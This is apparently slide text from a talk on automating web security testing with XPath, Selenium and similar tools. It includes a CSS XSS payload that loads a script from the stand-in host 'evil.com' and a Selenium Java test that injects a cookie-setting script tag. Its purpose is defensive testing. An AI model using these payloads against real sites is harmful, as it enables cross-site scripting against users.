# Path X

#### Explosive Security Testing Tools with XPath



# Many faces of security testing

- Interesting questions
  - -Technique improvements
  - -Error handling
  - -Knowing when to stop



#### Start with MITRE

Introduction to vulnerability theory

-Researcher instinct





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#### Disclosure summary

- Real vulnerability in Google
  - -Not on the top level domain
  - -CSS consumed and then run
  - -Reflected XSS through CSS



### Artifact labels

- Google text
- <!DOCTYPE ...
- <html>
- <head>

```
<link rel="stylesheet">
```

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- Interaction
- Crossover
- Trigger
- (Activation)

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```
tr:first-child td{-moz-
binding:url("http://evil.com/xss.js");}
```

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# Other places to find info

- OWASP
- WASC
- NIST
- DHS BSI, Cigital
- Source code in tools



# What is Path X?

- Movement away from ad-hoc methods
- Cowboy coders
- What is missing?
  - -Specialized language
  - -A clear entry path
  - -Peer review
  - -Standards, practices, & procedures

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#### Who we are

- Marcin Wielgoszewski
- Andre Gironda
- tssci-security.com
- trusted systems, TCSEC



#### What a tangled web we've weaved



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# //XPath[@wtf='?']

Goal	CSS3	XPath
All  elements	р	//p
All child elements	p>*	//p/*
Element by ID	#foo	//*[@id=`foo']
Element by class	.foo	<pre>//*[contains(@class,'foo')]</pre>
Element with attribute	*[title]	//*[@title]

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### XPath is not RegEx

- If you're using regular expressions against a web application, you're barking up the wrong tree
- XPath is like a filesystem
- Parser libs: LibXML2, REXML, XOM



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### **Content Parsing**

- You've used grep right?
- X/HTML isn't greppable
- Tree, push and pull-parsers -DOM (XPath), SAX



### Malformities

- Not fun
- HTML Tidy and XML Untidy
- Tidy bindings or Beautiful/RubyfulSoup

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- NekoHTML and TagSoup in Java
- Browsers already handle it
   Both good and bad...

# You're behind the wheel

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- Protocol Drivers
  - -cURL, twill
- Application Drivers
   HtmlUnit, jWebUnit, WebDriver
- Browser Drivers
  - -Watir, Selenium, WebDriver



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### Firefox Add-Ons

- Firebug, XPather, View Source Chart +XPath Checker, Selenium IDE
- Use XPath extensions to get locations of HTML entities
- Start building tests in Selenium IDE



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### Selenium IDE

- Record and playback your actions
- Put Firefox in autopilot mode
- Tests are saved in an HTML table



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### Selenium TestRunner

- Extend tests built in the IDE and string them together to create test suites
  - Add actions and assertions for a comprehensive test
- Run Selenium tests from any browser



# Would you like a cookie?

- Exploit the DOM via XSS
- Example taken from XSS Attacks' awesome.html by pdp
- The test
  - -Bypass input validation
  - -Set a cookie (DOM XSS)
  - -Verify cookie exists
  - -Delete cookie

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# Simplicity

- Write tests in HTML tables
- Just a taste of what you can test for
  - -Test for illegal characters
  - -Input validation
  - -No XSS or SQL injection cheatsheet necessary

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### Integration testing

- Take Selenium test suites and use throughout Secure SDLC
- Run tests at compilation and during integration phase
  - -Ant build tasks, etc



#### Java Example

package com.example.tests;

```
import com.thoughtworks.selenium.*;
import java.util.regex.Pattern;
```

public class NewTest extends SeleneseTestCase {
 public void testNew() throws Exception {
 selenium.open("/awesome.html");
 selenium.deleteCookie("name", "/");
 selenium.type("name", "<script>document.cookie='name=xss;
 expires=Thu, 2 Aug 2010 20:47:11 UTC; path=/';</script>");
 selenium.click("//input[@name='chat']");
 verifyEquals("name=xss", selenium.getCookie());
 selenium.deleteCookie("name", "/");
 }
}

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#### Developers can make it work

- Don't use Java? There's C#, Perl, PHP, Python and Ruby too!
- Tests are made portable with XPath



# Other ways of using XPath

- Selenium or WebDriver
- Think of other places in the lifecycle
  - -Inspection with PMD
  - -Web application security scanner for operations / maintenance testing
  - -Other places?

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#### Automation

- Selenium examples as table-driven
  - -Can also be script-driven
  - -Data-driven
  - -Capture/Replay
- 100% automation is better



### Old concepts to new

- Quality testers used script-driven
  - -With TCL
  - -Some Perl
  - -Others Python
- NIST Expect
  - -autoexpect
- AutoRuby ?

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### Canoo WebTest

- Popular open-source webapp test tool
- Extension to Ant
- Write tests in XML



# Why all these tools?

- Use any / all ; mix and match
- Domain-specific language
   Specialized languages
- XPath as a specialized language
   Use between tools
- Fit in different parts of the lifecycle

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#### Test reputations

• Watch & Listen

-Think aloud protocol

- Record
- Script / data-driven / table
- Exploratory testing
- Measure test cases, test charters, and testers

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### Combinatorial explosions

- Exploiting Online Games combinatorics
  - -Induce lag (WoW-Dupe)
  - -Spell interactions
- Pairwise
  - -Orthogonal arrays
  - -All-pairs tables with tester's choice

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Increases coverage of tests

### Functional security testing

- Operations testing
  - -Fuzzers with code coverage
  - -Web application security scanners
  - -Fuzz before purchase
- Acceptance testing
  - -Selenium approach
  - -DevInspect, AppScan DE, others

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-Fuzz before release

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### Developer-testing for security

- Integration testing
  - -Simultaneous with build (WebTest)
- Component testing?
  - -Apache Cactus, Jetty (Selenium Server), TESTARE, MonoRails
- Limitations in Unit testing
   Input validation and special chars



### Conclusion

- Security testing in every phase
- Ability to generate functional test code from operations/acceptance tools

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• XPath decreases complexity of information exchange



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